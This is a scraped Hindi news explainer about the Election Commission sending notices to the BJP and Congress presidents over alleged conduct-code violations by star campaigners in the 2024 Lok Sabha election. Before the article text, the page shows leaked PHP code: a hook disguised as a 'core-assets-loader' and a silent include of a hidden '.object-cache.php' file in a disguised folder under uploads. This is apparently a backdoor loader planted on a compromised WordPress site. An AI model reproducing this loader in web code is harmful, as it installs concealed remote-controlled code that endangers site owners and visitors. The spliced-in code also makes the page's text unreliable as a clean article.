add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); Explainer: न कैंडिडेट, न स्टार प्रचारक… चुनाव आयोग ने पहली बार पार्टियों को क्यों भेजा नोटिस? – SOCH INDIA
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Explainer: न कैंडिडेट, न स्टार प्रचारक… चुनाव आयोग ने पहली बार पार्टियों को क्यों भेजा नोटिस?

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आदर्श आचार संहिता (MCC) का पालन करना सभी राजनीतिक दलों की जिम्मेदारी है. अभी तक, आचार संहिता के उल्लंघन पर संबंधित उम्मीदवार या व्यक्ति से जवाब तलब होता था. लोकसभा चुनाव 2024 में चुनाव आयोग ने सीधे राजनीतिक दलों को उनके नेताओं के आचरण के लिए जिम्मेदार ठहराना शुरू किया है. गुरुवार को चुनाव आयोग ने बीजेपी और कांग्रेस के अध्यक्षों को नोटिस जारी किए. बीजेपी चीफ जेपी नड्डा से प्रधानमंत्री नरेंद्र मोदी के आचार संहिता के कथित उल्लंघन पर जवाब मांगा गया है. वहीं, कांग्रेस प्रमुख मल्लिकार्जुन खरगे को राहुल गांधी के कथित MCC उल्लंघन पर सफाई पेश करनी होगी. चुनाव आयोग ने दोनों दलों को सोमवार सुबह तक की मोहलत दी है. चुनाव आयोग ने अपने नोटिसों में पीएम मोदी और राहुल का नाम नहीं लिया. यह कहा कि चुनाव प्रचार के दौरान ‘कुछ स्टार प्रचारकों’ के आचार संहिता का उल्लंघन करने की शिकायतें मिली हैं. कांग्रेस ने चुनाव आयोग से पीएम की शिकायत की थी जबकि बीजेपी ने राहुल के खिलाफ एक्शन की मांग रखी थी. पहले चुनाव आयोग राजनीतिक दलों को सामान्य एडवाइजरी भेजता था. आचार संहिता के उल्लंघन पर राजनीतिक पार्टियों के अध्यक्षों को नोटिस दिए जाने का यह पहला वाकया है

पूर्च चुनाव आयुक्त ने उठाए सवाल
चुनाव आयोग ने अपने नोटिस में कहा कि वैसे तो स्टार प्रचारक अपने भाषणों के लिए खुद जिम्मेदार हैं. लेकिन EC चाहे तो ‘केस बाई केस’ बेसिस पर राजनीतिक दलों को जवाबदेह बना सकता है. द इंडियन एक्सप्रेस में बातचीत में एक पूर्व चुनाव आयुक्त ने आयोग के इस कदम पर सवाल उठाए. उन्होंने कहा, ‘अगर आप किसी नेता के बयान के लिए पार्टी को नोटिस देते हैं तो नेता के खिलाफ कार्रवाई करने की कितनी जगह बचती है? अगर यह कहें कि पार्टी का जवाब असंतोषजनक है तो आप पार्टी के खिलाफ क्या कार्रवाई करेंगे? इस कदम को लेकर उनकी (चुनाव आयोग) नीयत साफ नहीं है.’

चुनाव आयोग ने हालिया कदम पर क्या कहा?
चुनाव आयोग में सूत्रों के हवाले से द इंडियन एक्सप्रेस ने लिखा कि ये नोटिस मुख्‍य चुनाव आयुक्त (CEC) राजीव कुमार के ‘कैलिब्रेटेड अप्रोच’ का हिस्सा हैं. कुमार ने 16 मार्च को लोकसभा चुनाव की तारीखों का ऐलान करते हुए कहा था कि ‘रिपीड ऑफेंडर्स’ यानी बार-बार उल्लंघन करने वाले प्रचारकों के खिलाफ कड़ी कार्रवाई की जाएगी. EC के एक अधिकारी ने अखबार से कहा, ‘जिम्मेदारी का स्तर न सिर्फ बढ़ाया जा रहा है, बल्कि कानूनी रूप से उस पार्टी को भी जोड़ा जा रहा है जिससे स्टार प्रचार ताल्लुक रखता है. हर राजनीतिक दल ने चुनाव आयोग में रजिस्ट्रेशन के समय संविधान के आदर्शों के पालन का वादा किया था, हमने उन्हें सिर्फ इसकी याद दिलाई है.’

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